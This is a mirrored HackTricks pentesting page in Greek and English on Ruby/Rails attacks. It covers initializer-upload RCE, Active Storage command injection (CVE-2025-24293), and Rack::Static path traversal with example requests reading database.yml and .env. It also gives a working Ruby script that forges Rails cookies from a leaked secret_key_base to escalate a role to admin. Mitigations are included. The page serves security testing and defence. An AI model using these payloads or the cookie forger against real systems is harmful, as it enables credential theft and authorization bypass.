mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
101 lines
7.5 KiB
Markdown
101 lines
7.5 KiB
Markdown
# Ruby Tricks
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## File upload to RCE
|
||
|
||
Όπως εξηγείται στο [this article](https://www.offsec.com/blog/cve-2024-46986/), η μεταφόρτωση ενός `.rb` αρχείου σε ευαίσθητους καταλόγους όπως `config/initializers/` μπορεί να οδηγήσει σε remote code execution (RCE) σε εφαρμογές Ruby on Rails.
|
||
|
||
Συμβουλές:
|
||
- Άλλες τοποθεσίες boot/eager-load που εκτελούνται κατά την εκκίνηση της εφαρμογής είναι επίσης επικίνδυνες αν είναι εγγράψιμες (π.χ., `config/initializers/` είναι το κλασικό παράδειγμα). Αν βρείτε μια αυθαίρετη μεταφόρτωση αρχείου που καταλήγει οπουδήποτε κάτω από το `config/` και αργότερα αξιολογείται/required, μπορεί να αποκτήσετε RCE κατά την εκκίνηση.
|
||
- Αναζητήστε dev/staging builds που αντιγράφουν user-controlled αρχεία μέσα στο container image όπου το Rails θα τα φορτώσει κατά την εκκίνηση.
|
||
|
||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||
|
||
Όταν μια εφαρμογή χρησιμοποιεί Active Storage με `image_processing` + `mini_magick`, και περνά μη αξιόπιστες παραμέτρους σε μεθόδους μετατροπής εικόνας, εκδόσεις του Rails πριν από 7.1.5.2 / 7.2.2.2 / 8.0.2.1 ενδέχεται να επιτρέπουν command injection επειδή ορισμένες μεθόδοι μετατροπής επιτράπηκαν κατά λάθος από προεπιλογή.
|
||
|
||
- Ένα ευάλωτο μοτίβο μοιάζει με:
|
||
```erb
|
||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
||
```
|
||
όπου `params[:t]` και/ή `params[:v]` ελέγχονται από τον attacker.
|
||
|
||
- Τι να δοκιμάσετε κατά τις δοκιμές
|
||
- Εντοπίστε endpoints που δέχονται variant/processing επιλογές, ονόματα μετατροπών ή αυθαίρετα ImageMagick arguments.
|
||
- Fuzzάρετε τα `params[:t]` και `params[:v]` για ύποπτα σφάλματα ή side-effects εκτέλεσης. Αν μπορείτε να επηρεάσετε το όνομα της μεθόδου ή να περάσετε raw arguments που φτάνουν στο MiniMagick, μπορεί να πετύχετε code exec στον host που επεξεργάζεται τις εικόνες.
|
||
- Αν έχετε μόνο πρόσβαση ανάγνωσης στα παραγόμενα variants, επιχειρήστε blind exfiltration μέσω crafted ImageMagick operations.
|
||
|
||
- Αντιμετώπιση/ανιχνεύσεις
|
||
- Αν δείτε Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 με Active Storage + `image_processing` + `mini_magick` και user-controlled μετατροπές, θεωρήστε το εκμεταλλεύσιμο. Συνιστάται αναβάθμιση και επιβολή αυστηρών allowlists για μεθόδους/παραμέτρους και ενίσχυση της πολιτικής ImageMagick.
|
||
|
||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||
|
||
Αν το target stack χρησιμοποιεί Rack middleware απευθείας ή μέσω frameworks, εκδόσεις του `rack` πριν από 2.2.13, 3.0.14 και 3.1.12 επιτρέπουν Local File Inclusion μέσω `Rack::Static` όταν το `:root` δεν έχει οριστεί ή είναι λανθασμένα διαμορφωμένο. Κωδικοποιημένο traversal στο `PATH_INFO` μπορεί να αποκαλύψει αρχεία κάτω από το process working directory ή ένα απροσδόκητο root.
|
||
|
||
- Αναζητήστε εφαρμογές που mountάρουν `Rack::Static` στο `config.ru` ή στις middleware stacks. Δοκιμάστε κωδικοποιημένα traversals ενάντια σε static μονοπάτια, για παράδειγμα:
|
||
```text
|
||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||
GET /favicon.ico/..%2f..%2f.env
|
||
```
|
||
Προσαρμόστε το prefix για να ταιριάξει με τα ρυθμισμένα `urls:`. Αν η εφαρμογή απαντήσει με περιεχόμενο αρχείου, πιθανότατα έχετε LFI σε οτιδήποτε κάτω από το επιλυμένο `:root`.
|
||
|
||
- Mitigation: αναβαθμίστε το Rack· βεβαιωθείτε ότι το `:root` δείχνει μόνο σε έναν κατάλογο δημόσιων αρχείων και έχει οριστεί ρητά.
|
||
|
||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
||
|
||
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (π.χ., σε repo, logs, ή misconfigured credentials), μπορείτε συνήθως να decrypt, modify και re-encrypt τα cookies. Αυτό συχνά οδηγεί σε authz bypass αν η εφαρμογή αποθηκεύει roles, user IDs, ή feature flags στα cookies.
|
||
|
||
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
|
||
```ruby
|
||
require 'cgi'
|
||
require 'json'
|
||
require 'active_support'
|
||
require 'active_support/message_encryptor'
|
||
require 'active_support/key_generator'
|
||
|
||
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
|
||
raw_cookie = CGI.unescape(ARGV[0])
|
||
|
||
salt = 'authenticated encrypted cookie'
|
||
cipher = 'aes-256-gcm'
|
||
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
|
||
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
|
||
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
|
||
|
||
plain = enc.decrypt_and_verify(raw_cookie)
|
||
puts "Decrypted: #{plain.inspect}"
|
||
|
||
# Modify and re-encrypt (example: escalate role)
|
||
plain['role'] = 'admin' if plain.is_a?(Hash)
|
||
forged = enc.encrypt_and_sign(plain)
|
||
puts "Forged cookie: #{CGI.escape(forged)}"
|
||
```
|
||
Σημειώσεις:
|
||
- Παλαιότερες εφαρμογές ενδέχεται να χρησιμοποιούν AES-256-CBC και salts `encrypted cookie` / `signed encrypted cookie`, ή JSON/Marshal serializers. Προσαρμόστε ανάλογα τα salts, τον cipher και τον serializer.
|
||
- Σε περίπτωση παραβίασης ή κατά την αξιολόγηση, αλλάξτε το `secret_key_base` για να ακυρώσετε όλα τα υπάρχοντα cookies.
|
||
|
||
## Δείτε επίσης (ευπάθειες ειδικές για Ruby/Rails)
|
||
|
||
- Ruby deserialization and class pollution:
|
||
{{#ref}}
|
||
../../pentesting-web/deserialization/README.md
|
||
{{#endref}}
|
||
{{#ref}}
|
||
../../pentesting-web/deserialization/ruby-class-pollution.md
|
||
{{#endref}}
|
||
{{#ref}}
|
||
../../pentesting-web/deserialization/ruby-_json-pollution.md
|
||
{{#endref}}
|
||
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
|
||
{{#ref}}
|
||
../../pentesting-web/ssti-server-side-template-injection/README.md
|
||
{{#endref}}
|
||
|
||
|
||
|
||
## Αναφορές
|
||
|
||
- Ανακοίνωση ασφάλειας Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||
- Ειδοποίηση GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||
{{#include ../../banners/hacktricks-training.md}}
|